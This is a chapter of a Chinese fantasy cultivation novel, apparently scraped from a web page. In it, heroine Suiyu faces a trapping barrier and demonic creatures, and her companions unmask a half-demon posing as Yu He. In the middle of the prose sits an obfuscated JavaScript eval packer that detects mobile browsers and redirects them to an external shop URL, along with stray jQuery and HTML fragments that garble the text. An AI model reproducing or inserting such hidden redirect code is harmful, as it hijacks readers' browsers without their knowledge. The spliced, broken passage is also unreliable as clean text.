岁岁顿时止住逃跑的动作,转而驭水于身下,腾空朝余荷赶去。可她甫靠近余荷,一道结界霎时出现,将两人阻隔开。任凭岁岁如何尝试用灵力破开,结界却连“源印”都不曾出现。
源印即结界的基础术法。但凡结界,都需要术法结成。只要源印出现,无需狗蛋,她也能找到破解结界的对策。
可岁岁显然低估了面前的结界。
“跑...”余荷虚弱睁开眼,那双漂亮灵动的眸子里此刻黯淡无光,先前墨绿色的瞳孔也褪去颜色,淡如叶子经脉。
岁岁明白,她再继续被困在结界中,用不了多久就会被这些奇怪的荆棘吸干灵力而亡。
“余荷!你撑住!我想想办法!”岁岁大喊着,生怕余荷再度阖眸睡去。
余荷苍白干裂的嘴唇翕动,再次开口:“快跑...岁岁...快点跑...”
岁岁环顾四周。一望无际的空地上,唯有此处有血色光亮。其余地界都浸在黑夜中,难以看清其中模样。她无心深思此地到底是何处,只一心想找到救出余荷的法子。
“这里有...”余荷吃力喘息着,破碎的字句溢出唇边:“魔。”
与余荷这一字一并发出的,还有狗蛋的呼喊声:“宿主!结界破解完成!”
狗蛋自行出鞘,笔直朝结界刺去。本透明无形的结界霎时遍布宛若荆棘的纹路,水色灵力通过剑尖注入结界时,这些纹路竟悉数蠕动起来,且变作血色。
一条条,好似人体内的经脉。
与此同时,原本脱力昏迷的余荷忽地仰头挣扎,发出痛苦的喊叫声。
岁岁陡然明白——这些荆棘与余荷的血脉交缠在一处,若强行用蛮力破开结界,余荷恐怕经脉寸断,暴毙而亡。
“*的!不破是死,破也是死!搞什么啊!”岁岁愤愤抱怨时,悬于半空的狗蛋忽地止不住颤抖。
它剑尖指向岁岁身后,结巴道,“宿...宿主,完蛋了。”
“说这么不吉利的话干嘛?有我在,怎么可能完...”岁岁边说边转身,剩下的话全部卡在喉咙里,随着她艰涩吞咽口水的动作一并被咽下。
她身下的黑暗角落里,涌出无数魔气化形的物什。它们形态各异,像是用许多不同物什拼凑出它们“想象中凡人该有的躯壳”一样,瞧着诡异又恶心。
它们缓缓朝着阶梯蠕动靠近,所经过之地无不被腐蚀出滋滋白烟、化作粉齑。
“狗蛋...”岁岁艰难挤出笑容,绝望看向狗蛋:“咱俩现在还是赶紧写遗书吧,再晚点咱俩估摸着渣都不剩了。”
*
缥缈观内一片狼藉。因护观结界破灭,整座缥缈观失去庇护,原本汇聚一处用以维系结界的妖力四处流窜,致使整座道观陷入混乱中。失去灵力的妖修们仓促找寻自身的妖力,却屡屡碰壁,只能眼睁睁看着妖力失控,不断破坏道观。
场面失序之际,沈时凝却久久怔在原地。
不久前,随着护观结界一并消失的还有岁岁。
活生生的修士不过眨眼间,就从众人眼前蒸发,以至于沈时凝还未回过神时,身边只剩下少女身上淡淡的一缕桂花香气,别无其他。
她好似被抽去魂魄,反应亦变得迟钝。期间不断有人从她身边跑过,他们似是在为观外南流景的险境惊呼、尖叫,恐惧的情绪蔓延传染,可沈时凝只是久久望着岁岁方才站着的位置,嘴唇翕动半晌,甫轻声唤道,“岁岁?”
“岁岁?岁岁!岁岁——”
在她近乎崩溃之际,余荷的声音穿透耳膜抵达混乱的脑海深处。
“沈时凝!醒醒!”
沈时凝茫然醒转,方发觉自己双手满是鲜血。她不知何时跪坐在地,癫狂地刨着地面,妄想将凭空消失的岁岁“挖”出来。
她从未有过如此失态。哪怕是幼时面临父兄羞辱,面临亡城之难时,她都没有这般过。
“你看,岁岁在那边。”
沈时凝随余荷手指方向看去——即将坍塌的衲房下的确躺着一黄衣少女。她瞧着受了重伤,奄奄一息躺在原地,随时有被砖瓦掩埋的危险。
沈时凝不假思索,驭气便朝少女赶去,未曾留意到余荷勾起的唇角。
她正欲近身,却听得头顶一阵雷声轰鸣。下一瞬,面前的“少女”便被紫光雷劈作粉齑。顷刻间在沈时凝面前烟消云散了。
沈时凝大脑“嗡”一声炸响,理智崩塌之瞬,湛卢锃鸣出鞘。她握剑之时,剑身淬出熊熊烈火,但凡近身之物都在烈火下焚烧殆尽。
陆时安驭风而来,衣袂翩跹间飞出两道紫光雷,直逼余荷。
“陆时安!你疯了!”沈时凝嘶吼出声,匆匆调转剑身想为余荷拦下紫光雷。
陆时安语无波澜:“假的。”
“什...”
他淡淡抬眸,难辨喜怒:“那不是岁岁,是假的。”他又轻扬下巴,望向“余荷”:“那也是假的。”
沈时凝皱眉转身。
紫光雷并没有将“余荷”也劈作粉齑,而是化作数条泛着雷光的锁链将其捆住。只要她有所动作,锁链便会在她肌肤上迸溅出雷电,疼得她面目狰狞,再也无法维系“余荷”的伪装。
假面一点点脱落,露出她原本的容貌。
一张难以再被称为“人面”的脸。半边脸已腐烂得只剩白骨,另半张脸也只剩眼周尚未腐烂,其余地方布满凸起的墨色经络,随她五官的活动不断暴起,瞧着有随时炸开的趋势。
沈时凝顷刻转身,执剑立于陆时安身侧。她眉头紧锁,沉声询问:“你怎么来了?大师兄那边谁在护法?”
“你爹。”
“...那个废物你也放心?”
陆时安觑了她一眼,淡淡道,“真魔就在这里,那边无需担忧。”
沈时凝闻言,仰头望向已经变得与天同高的牧之颂。它冲破护观结界外后,不断汲取着南流景内的魔气,如今已变成他们联手也对付不了的怪物。
短时间内透支太多灵力,眼前又出现无力破解的困局,沈时凝终是缓缓吐出一口浊气。她冷眼望向痛苦挣扎着的“余荷”,又问:“你怎么知道那不是岁岁?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181734|188054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“一眼就看出来了。”陆时安垂眸,神色如常,好似在阐述一件再简单不过之事:“你认不出来吗?”
沈时凝被堵得哑口无言。
她一腔怒火无处发泄,便将视线转移到“余荷”身上。此时她不仅人面完全脱落,身躯也逐渐异化,变成行尸走肉。至此,沈时凝也知晓了她的身份——半魔人。不过寻常半魔人在异化后不久,就会极快丧失理智,自我意识也会被一并吞没。
但这只半魔人不一样。哪怕她的身躯几近完全异化,但她仍保持着清醒,能与人正常交流对话。甚至还能结阵起式,自身原有的灵力也不曾受到影响。
“难道是妖魔?”沈时凝蹙眉。
九洲创世论中记载:妖与魔之气结合的魔胎,再由凡人孕育,便有几率诞下同时拥有妖力与魔气的半魔人。此种半魔人拥有不死不灭的身躯,不像真魔或其他半魔人一样受类天雷之物的威胁,想要除掉他们,唯有让他们的魔魂湮灭。
不过孕育出这种妖魔的几率并不高,一百人中能活下一个便已是奇迹。而这一个,大几率还会夭折。故九洲创世以来,此类妖魔屈指可数,且都记录在册。
“不出意外的话...”陆时安淡淡回道,抬头望向“牧之颂”:“应该是他的孩子。”
沈时凝点头表示赞同。这个说辞最能解释她为何要幻化成余荷的模样,毕竟当时最先出手阻止沈时凝斩杀牧之颂的人便是她。
但...
“牧之颂和谁的孩子?”沈时凝刚问出口,在对上陆时安视线时,心中便有了答案。
陆时安眸底蕴着的情感,她最为熟悉不过,是怜悯。
从前,她不顾父亲阻拦,挨毒打也要练剑时,家中奴仆便会对她投来这样的视线。之后南流景陷入绝境,她孤身向前时,城民们也对她投去怜悯的视线。
沈时凝心尖泛起一股异样的酸涩,好似有人拿指甲轻轻剐蹭着,令她下意识佝偻后背,试图缓解这种感觉。
沈时凝很快回过神,只觉得这种情感的滋生分外奇怪。在岁岁出现前,她从未有过这种情感。怜悯、同情或是厌恶、敬仰等等,旁人对她的看法,她一向不在意。她只会埋头练剑,只会与佩剑打交道。哪怕之后离开了沈家,在风青山上结识许多人,她也未有半分改变。
可现在她发觉,自己的的确确改变了。
不仅是她,陆时安也改变了。
在他们谁都未曾察觉的时光里,在那个少女出现后,他们都发生了微妙的变化。察觉到这点的沈时凝忽地轻笑出声。
陆时安倍感疑惑之际,沈时凝已然收回视线,轻描淡写道,“时安,我们都变得更像人了。”
“人?”
“是。”沈时凝一字一句,听着轻松的字句下,却藏着她无比认真的心绪:“师尊总说我们两人太过专注修炼之事,从而舍弃了一部分自我,也丢失了寻常人该有的一部分情感。可现在...”
她稍作停顿,释然一笑:“我们也终于找回丢失的那部分自我,还有感情,做一个真正的人。”